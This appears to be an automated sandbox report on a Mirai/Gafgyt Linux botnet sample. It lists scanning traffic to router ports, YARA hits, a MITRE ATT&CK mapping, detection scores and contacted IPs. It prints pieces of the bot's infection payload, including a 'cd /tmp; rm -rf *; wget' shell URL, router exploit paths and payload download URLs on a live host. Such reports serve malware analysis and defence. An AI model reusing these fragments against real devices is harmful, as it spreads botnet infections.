Source: unknown	Network traffic detected: HTTP traffic on port 52880 -> 1723
Source: unknown	Network traffic detected: HTTP traffic on port 51590 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 51502 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 53766 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 53766
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 53826
Source: unknown	Network traffic detected: HTTP traffic on port 51562 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 51522 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 33524 -> 55555
Source: unknown	Network traffic detected: HTTP traffic on port 56652 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 56760 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 44562 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 44562
Source: unknown	Network traffic detected: HTTP traffic on port 44568 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 53050 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 55394 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 44568
Source: unknown	Network traffic detected: HTTP traffic on port 53058 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 55402 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 55394
Source: unknown	Network traffic detected: HTTP traffic on port 51590 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 42728 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 55402
Source: unknown	Network traffic detected: HTTP traffic on port 42748 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 46194 -> 55555
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 55402
Source: unknown	Network traffic detected: HTTP traffic on port 51562 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 42728 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 42748 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 53420 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 42728 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 49102 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 51522 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 42748 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 53420 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 53424 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 51614 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 53424 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 51614 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 57346 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 54700 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 36118 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 57364 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 36134 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 42728 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 54700 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 42748 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 37434 -> 1723
Source: unknown	Network traffic detected: HTTP traffic on port 47234 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 49404 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 33540 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 36134 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 33540 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 51624 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 51990 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 49316 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 41600 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 49330 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 39420 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 53688 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 54700 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 41616 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 46646 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 53688
Source: unknown	Network traffic detected: HTTP traffic on port 53714 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 47268 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 49438 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 57100 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 46692 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 33576 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 59420 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 57146 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 45952 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 53714
Source: unknown	Network traffic detected: HTTP traffic on port 51998 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 57146 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 45952
Source: unknown	Network traffic detected: HTTP traffic on port 41600 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 39446 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 39420 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 50728 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 45960 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 59466 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 41616 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 45960
Source: unknown	Network traffic detected: HTTP traffic on port 50754 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 55654 -> 55555
Source: unknown	Network traffic detected: HTTP traffic on port 57156 -> 55555
Source: unknown	Network traffic detected: HTTP traffic on port 55555 -> 55654
Source: unknown	Network traffic detected: HTTP traffic on port 33576 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 59420 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 37604 -> 1723
Source: unknown	Network traffic detected: HTTP traffic on port 59466 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 41600 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 54700 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 48840 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 37604 -> 1723
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 54700
Source: unknown	Network traffic detected: HTTP traffic on port 49404 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 47234 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 49438
Source: unknown	Network traffic detected: HTTP traffic on port 39420 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 41616 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 37604 -> 1723
Source: unknown	Network traffic detected: HTTP traffic on port 47268 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 42728 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 42748 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 45822 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 35196 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 54314 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 45830 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 51570 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 35204 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 51580 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 41600 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 53754 -> 55555
Source: unknown	Network traffic detected: HTTP traffic on port 35204 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 54946 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 37604 -> 1723
Source: unknown	Network traffic detected: HTTP traffic on port 53754 -> 55555
Source: unknown	Network traffic detected: HTTP traffic on port 54994 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 54994
Source: unknown	Network traffic detected: HTTP traffic on port 53728 -> 55555
Source: unknown	Network traffic detected: HTTP traffic on port 53754 -> 55555
Source: unknown	Network traffic detected: HTTP traffic on port 35204 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 39420 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 41616 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 41336 -> 55555
Source: unknown	Network traffic detected: HTTP traffic on port 52160 -> 1723
Source: unknown	Network traffic detected: HTTP traffic on port 52190 -> 1723
Source: unknown	Network traffic detected: HTTP traffic on port 36552 -> 55555
Source: unknown	Network traffic detected: HTTP traffic on port 49404 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 47234 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 53258 -> 55555
Source: unknown	Network traffic detected: HTTP traffic on port 54946 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 37604 -> 1723
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 54946
Source: unknown	Network traffic detected: HTTP traffic on port 60324 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 60324
Source: unknown	Network traffic detected: HTTP traffic on port 60336 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 60336
Source: unknown	Network traffic detected: HTTP traffic on port 44766 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 44798 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 60336
Source: unknown	Network traffic detected: HTTP traffic on port 41600 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 35080 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 32946 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 43776 -> 55555
Source: unknown	Network traffic detected: HTTP traffic on port 52869 -> 32946
Source: unknown	Network traffic detected: HTTP traffic on port 32952 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 55555 -> 43776
Source: unknown	Network traffic detected: HTTP traffic on port 32952 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 52869 -> 32952
Source: unknown	Network traffic detected: HTTP traffic on port 53258 -> 55555
Source: unknown	Network traffic detected: HTTP traffic on port 43116 -> 55555
Source: unknown	Network traffic detected: HTTP traffic on port 53854 -> 55555
Source: unknown	Network traffic detected: HTTP traffic on port 41616 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 39420 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 42748 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 42728 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 37672 -> 1723
Source: unknown	Network traffic detected: HTTP traffic on port 49102 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 53258 -> 55555
Source: unknown	Network traffic detected: HTTP traffic on port 47234 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 49404 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 47234
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 47268
Source: unknown	Network traffic detected: HTTP traffic on port 37672 -> 1723
Source: unknown	Network traffic detected: HTTP traffic on port 43038 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 57244 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 43202 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 57408 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 43128 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 43236 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 53760 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 43128 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 39152 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 53766 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 39160 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 39494 -> 55555
Source: unknown	Network traffic detected: HTTP traffic on port 55994 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 52869 -> 55994
Source: unknown	Network traffic detected: HTTP traffic on port 56048 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 60502 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 41600 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 60530 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 48362 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 51428 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 48368 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 51434 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 56048 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 52869 -> 56048
Source: unknown	Network traffic detected: HTTP traffic on port 56044 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 51428 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 56044 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 52869 -> 56044
Source: unknown	Network traffic detected: HTTP traffic on port 51434 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 51428 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 51434 -> 7547

Stealing of Sensitive Information

Yara detected Gafgyt

Source: Yara match	File source: H085INliC6.elf, type: SAMPLE
Source: Yara match	File source: 6238.1.0000000008048000.0000000008064000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6266.1.0000000008048000.0000000008064000.r-x.sdmp, type: MEMORY

Yara detected Mirai

Source: Yara match	File source: H085INliC6.elf, type: SAMPLE
Source: Yara match	File source: 6238.1.0000000008048000.0000000008064000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6266.1.0000000008048000.0000000008064000.r-x.sdmp, type: MEMORY

Remote Access Functionality

Yara detected Gafgyt

Source: Yara match	File source: H085INliC6.elf, type: SAMPLE
Source: Yara match	File source: 6238.1.0000000008048000.0000000008064000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6266.1.0000000008048000.0000000008064000.r-x.sdmp, type: MEMORY

Yara detected Mirai

Source: Yara match	File source: H085INliC6.elf, type: SAMPLE
Source: Yara match	File source: 6238.1.0000000008048000.0000000008064000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6266.1.0000000008048000.0000000008064000.r-x.sdmp, type: MEMORY

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	2 Scripting	Valid Accounts	1 Command and Scripting Interpreter	2 Scripting	Path Interception	2 File and Directory Permissions Modification	1 OS Credential Dumping	System Service Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	1 File Deletion	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	4 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	Software Packing	LSA Secrets	Internet Connection Discovery	SSH	Keylogging	3 Ingress Tool Transfer	Scheduled Transfer	Data Encrypted for Impact

Malware Configuration

⊘No configs have been found

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Number of created Files
Is malicious
Internet

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
H085INliC6.elf	71%	ReversingLabs	Linux.Trojan.Mirai
H085INliC6.elf	63%	Virustotal		Browse
H085INliC6.elf	100%	Avira	EXP/ELF.Mirai.Gen.Z.A
H085INliC6.elf	100%	Joe Sandbox ML

Source	Detection	Scanner	Label	Link
http://127.0.0.1/cgi-bin/ViewLog.asp	0%	Avira URL Cloud	safe
http://127.0.0.1:80/tmUnblock.cgi	0%	Avira URL Cloud	safe
http://127.0.0.1:52869/wanipcn.xml	0%	Avira URL Cloud	safe
http://127.0.0.1:80/shell?cd+/tmp;rm+-rf+*;wget+	0%	Avira URL Cloud	safe
http://127.0.0.1:80/tmUnblock.cgi	0%	Virustotal		Browse
http://127.0.0.1:52869/wanipcn.xml	1%	Virustotal		Browse
http://127.0.0.1/cgi-bin/ViewLog.asp	1%	Virustotal		Browse
http://164.155.205.6/arm7;chmod	1%	Virustotal		Browse
http://164.155.205.6/arm7;chmod	0%	Avira URL Cloud	safe
http://164.155.205.6/mips	0%	Avira URL Cloud	safe
http://127.0.0.1:80/shell?cd+/tmp;rm+-rf+*;wget+	0%	Virustotal		Browse
http://164.155.205.6/mpsl;chmod	0%	Avira URL Cloud	safe
http://purenetworks.com/HNAP1/	0%	Avira URL Cloud	safe
http://164.155.205.6/mpsl;chmod	1%	Virustotal		Browse
http://127.0.0.1:7547/UD/act?1	0%	Avira URL Cloud	safe
http://127.0.0.1:52869/picdesc.xml	0%	Avira URL Cloud	safe
http://164.155.205.6/mips;	0%	Avira URL Cloud	safe
http://164.155.205.6/x86	0%	Avira URL Cloud	safe
http://188.166.41.194:80/tmUnblock.cgi	0%	Avira URL Cloud	safe
http://127.0.0.1:7547/UD/act?1	1%	Virustotal		Browse
http://127.0.0.1:52869/picdesc.xml	1%	Virustotal		Browse
http://164.155.205.6/mips;	1%	Virustotal		Browse
http://164.155.205.6/x86	5%	Virustotal		Browse
http://164.155.205.6/mips	5%	Virustotal		Browse
http://188.166.41.194:80/tmUnblock.cgi	0%	Virustotal		Browse
http://purenetworks.com/HNAP1/	2%	Virustotal		Browse

Name	Malicious	Antivirus Detection	Reputation
http://127.0.0.1:80/tmUnblock.cgi	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://127.0.0.1:80/shell?cd+/tmp;rm+-rf+*;wget+	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://127.0.0.1/cgi-bin/ViewLog.asp	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://127.0.0.1:52869/wanipcn.xml	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://127.0.0.1:7547/UD/act?1	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://127.0.0.1:52869/picdesc.xml	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://188.166.41.194:80/tmUnblock.cgi	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://164.155.205.6/arm7;chmod	H085INliC6.elf	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/soap/encoding/	H085INliC6.elf	false		high
http://164.155.205.6/mpsl;chmod	H085INliC6.elf	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://164.155.205.6/mips	H085INliC6.elf	false	5%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://purenetworks.com/HNAP1/	H085INliC6.elf	false	2%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/soap/envelope/	H085INliC6.elf	false		high
http://164.155.205.6/mips;	H085INliC6.elf	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://164.155.205.6/x86	H085INliC6.elf	false	5%, Virustotal, Browse Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
172.175.174.33	unknown	United States	7018	ATT-INTERNET4US	false
184.63.30.39	unknown	United States	7155	VIASAT-SP-BACKBONEUS	false
51.225.143.199	unknown	United States	2686	ATGS-MMD-ASUS	false
172.32.220.64	unknown	United States	21928	T-MOBILE-AS21928US	false
80.169.167.79	unknown	United Kingdom	8220	COLTCOLTTechnologyServicesGroupLimitedGB	false
212.182.0.181	unknown	Poland	12324	LUBMAN-EDU-ASPolandLublinPL	false
178.185.162.161	unknown	Russian Federation	12389	ROSTELECOM-ASRU	false
170.38.210.222	unknown	Malaysia	139776	PETRONAS-BHD-AS-APPetroliamNasionalBerhadMY	false
119.9.55.126	unknown	Hong Kong	58683	RACKSPACE-ASRackspacecomSydneyHK	false
187.180.255.178	unknown	Brazil	28573	CLAROSABR	false
206.74.104.45	unknown	United States	10279	WCCL-ASUS	false
189.178.88.171	unknown	Mexico	8151	UninetSAdeCVMX	false
200.107.66.189	unknown	Chile	16849	NewPlanetSACL	false
184.43.77.9	unknown	United States	5778	CENTURYLINK-LEGACY-EMBARQ-RCMTUS	false
201.194.130.116	unknown	Costa Rica	11830	InstitutoCostarricensedeElectricidadyTelecomCR	false
62.39.174.189	unknown	France	15557	LDCOMNETFR	false
18.108.248.221	unknown	United States	3	MIT-GATEWAYSUS	false
184.195.61.165	unknown	United States	10507	SPCSUS	false
84.36.99.226	unknown	Egypt	36992	ETISALAT-MISREG	false
83.103.130.242	unknown	Romania	6830	LIBERTYGLOBALLibertyGlobalformerlyUPCBroadbandHolding	false
83.110.178.133	unknown	United Arab Emirates	5384	EMIRATES-INTERNETEmiratesInternetAE	false
104.214.95.15	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
20.151.177.102	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
119.217.77.27	unknown	Korea Republic of	4766	KIXS-AS-KRKoreaTelecomKR	false
184.93.142.91	unknown	United States	33363	BHN-33363US	false
101.54.2.72	unknown	China	4847	CNIX-APChinaNetworksInter-ExchangeCN	false
80.169.167.88	unknown	United Kingdom	8220	COLTCOLTTechnologyServicesGroupLimitedGB	false
175.130.150.241	unknown	Japan	2516	KDDIKDDICORPORATIONJP	false
170.55.11.202	unknown	United States	33132	FIBERNET-DIRECTUS	false
91.90.138.77	unknown	Israel	25046	CHECKPOINTIL	false
184.63.30.52	unknown	United States	7155	VIASAT-SP-BACKBONEUS	false
119.62.24.130	unknown	China	4837	CHINA169-BACKBONECHINAUNICOMChina169BackboneCN	false
178.75.242.101	unknown	Bulgaria	34295	ETA-BG-ASNBG	false
178.206.173.115	unknown	Russian Federation	28840	TATTELECOM-ASRU	false
54.146.218.26	unknown	United States	14618	AMAZON-AESUS	false
169.27.168.176	unknown	United States	37611	AfrihostZA	false
200.239.237.11	unknown	Brazil	10704	MLTelecomBR	false
168.247.138.127	unknown	United States	14725	AS14725US	false
246.217.85.161	unknown	Reserved	unknown	unknown	false
181.175.43.78	unknown	Ecuador	14522	SatnetEC	false
204.246.83.120	unknown	United States	25720	HONEYCOMBUS	false
98.15.44.83	unknown	United States	12271	TWC-12271-NYCUS	false
151.113.209.10	unknown	United States	32480	LLUMCUS	false
197.177.27.24	unknown	Kenya	33771	SAFARICOM-LIMITEDKE	false
181.170.108.140	unknown	Argentina	10318	TelecomArgentinaSAAR	false
213.236.241.76	unknown	Norway	25400	TELIA-NORWAY-ASTeliaNorwayCoreNetworksNO	false
98.72.203.143	unknown	United States	7018	ATT-INTERNET4US	false
98.15.44.88	unknown	United States	12271	TWC-12271-NYCUS	false
178.157.234.45	unknown	Denmark	43557	ASEMNETDK	false
181.104.232.142	unknown	Argentina	6147	TelefonicadelPeruSAAPE	false
98.119.3.137	unknown	United States	701	UUNETUS	false
94.72.179.83	unknown	Bulgaria	42735	MAXTELECOM-ASBG	false
197.173.155.71	unknown	South Africa	37168	CELL-CZA	false
189.244.42.44	unknown	Mexico	8151	UninetSAdeCVMX	false
187.214.154.100	unknown	Mexico	8151	UninetSAdeCVMX	false
172.15.61.170	unknown	United States	7018	ATT-INTERNET4US	false
79.233.78.95	unknown	Germany	3320	DTAGInternetserviceprovideroperationsDE	false
98.60.86.92	unknown	United States	7922	COMCAST-7922US	false
184.61.110.117	unknown	United States	4181	TDS-ASUS	false
182.13.71.63	unknown	Indonesia	23693	TELKOMSEL-ASN-IDPTTelekomunikasiSelularID	false
178.78.83.194	unknown	United Kingdom	12390	KINGSTON-UK-ASGB	false
181.3.99.30	unknown	Argentina	7303	TelecomArgentinaSAAR	false
148.237.106.158	unknown	Mexico	7325	UniversidadAutonomaDeTamaulipasMX	false
178.30.28.93	unknown	Sweden	2119	TELENOR-NEXTELTelenorNorgeASNO	false
178.16.55.196	unknown	Germany	40999	DUSNET-ASDE	false
20.83.189.162	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
178.108.61.221	unknown	United Kingdom	12576	EELtdGB	false
219.91.212.101	unknown	India	18207	YOU-INDIA-APYOUBroadbandCableIndiaLtdIN	false
172.219.220.24	unknown	Canada	852	ASN852CA	false
80.198.173.154	unknown	Denmark	3292	TDCTDCASDK	false
37.32.128.239	unknown	Greece	5408	GR-NEThttpwwwgrnetgrGR	false
109.67.199.168	unknown	Israel	8551	BEZEQ-INTERNATIONAL-ASBezeqintInternetBackboneIL	false
201.194.130.109	unknown	Costa Rica	11830	InstitutoCostarricensedeElectricidadyTelecomCR	false
23.170.38.38	unknown	Reserved	397131	EVERYTHINKCA	false
196.149.47.155	unknown	Egypt	36935	Vodafone-EG	false
197.202.110.215	unknown	Algeria	36947	ALGTEL-ASDZ	false
170.49.18.75	unknown	United States	14017	BNSF-ASUS	false
98.163.162.245	unknown	United States	22773	ASN-CXA-ALL-CCI-22773-RDCUS	false
156.56.101.222	unknown	United States	87	INDIANA-ASUS	false
137.47.163.107	unknown	Norway	29695	ALTIBOX_ASNorwayNO	false
101.127.216.255	unknown	Singapore	4657	STARHUB-INTERNETStarHubLtdSG	false
187.106.105.149	unknown	Brazil	28573	CLAROSABR	false
192.99.130.89	unknown	Canada	16276	OVHFR	false
200.118.227.5	unknown	Colombia	10620	TelmexColombiaSACO	false
178.137.157.51	unknown	Ukraine	15895	KSNET-ASUA	false
80.169.167.36	unknown	United Kingdom	8220	COLTCOLTTechnologyServicesGroupLimitedGB	false
97.203.125.169	unknown	United States	6167	CELLCO-PARTUS	false
79.12.221.114	unknown	Italy	3269	ASN-IBSNAZIT	false
66.35.101.51	unknown	United States	14955	N-V-CUS	false
208.190.186.254	unknown	United States	53629	CNBT-ASUS	false
205.153.69.0	unknown	United States	6389	BELLSOUTH-NET-BLKUS	false
200.121.166.125	unknown	Peru	6147	TelefonicadelPeruSAAPE	false
98.137.87.90	unknown	United States	36646	YAHOO-NE1US	false
156.67.35.59	unknown	United Kingdom	48101	CALLFLOW-ASCallFlowSolutionsLtdGB	false
200.121.166.127	unknown	Peru	6147	TelefonicadelPeruSAAPE	false
213.41.84.15	unknown	United Kingdom	8220	COLTCOLTTechnologyServicesGroupLimitedGB	false
98.105.151.71	unknown	United States	6167	CELLCO-PARTUS	false
92.243.71.55	unknown	Russian Federation	30968	INFOBOX-ASInfoboxruAutonomousSystemRU	false
85.212.189.87	unknown	Germany	12312	ECOTELDE	false
46.54.251.15	unknown	Slovenia	9119	SOFTNET-ASInternetServiceProviderinSloveniaandSouthE	false

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
172.175.174.33	mips	Get hash	malicious	Mirai	Browse
119.9.55.126	sora.x86.elf	Get hash	malicious	Mirai	Browse
200.107.66.189	x86	Get hash	malicious	Moobot	Browse
184.63.30.39	x86-20220422-1501	Get hash	malicious	Mirai	Browse
184.63.30.39	sro4ML7u8y	Get hash	malicious	Mirai	Browse
172.32.220.64	nhz2J0ywiS	Get hash	malicious	Mirai	Browse
172.32.220.64	8WJ1mWaBwN	Get hash	malicious	Mirai	Browse
184.43.77.9	c8O3JEibrM.elf	Get hash	malicious	Mirai	Browse
	qf2zCx0Y9y.elf	Get hash	malicious	Mirai	Browse
	rCnHqUi2bB	Get hash	malicious	Mirai	Browse
201.194.130.116	Sg112gwY37	Get hash	malicious	Mirai	Browse
62.39.174.189	eAtDhymLzp	Get hash	malicious	Unknown	Browse
80.169.167.79	home.x86	Get hash	malicious	Mirai	Browse
80.169.167.79	53xR8H5q5f	Get hash	malicious	Mirai	Browse
212.182.0.181	O5xedhqPNj	Get hash	malicious	Mirai	Browse
178.185.162.161	JKfLgrv17o.elf	Get hash	malicious	Mirai	Browse
	Pa0exc41sw.elf	Get hash	malicious	Mirai	Browse
	aqua.spc	Get hash	malicious	Gafgyt, Mirai	Browse
	aqua.arm	Get hash	malicious	Gafgyt, Mirai	Browse

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
ATT-INTERNET4US	k19pd0afPb.elf	Get hash	malicious	Mirai, Moobot	Browse	12.63.20.184
	Irky8mkEt2.elf	Get hash	malicious	Mirai, Moobot	Browse	71.140.224.91
	6l1kqDkxR2.elf	Get hash	malicious	Moobot	Browse	68.212.87.200
	D7iI17d3sE.elf	Get hash	malicious	Mirai, Moobot	Browse	13.143.36.177
	bEiY8QDFcx.elf	Get hash	malicious	Mirai, Moobot	Browse	162.200.4.186
	SRtnwytcHZ.elf	Get hash	malicious	Mirai, Moobot	Browse	104.0.25.131
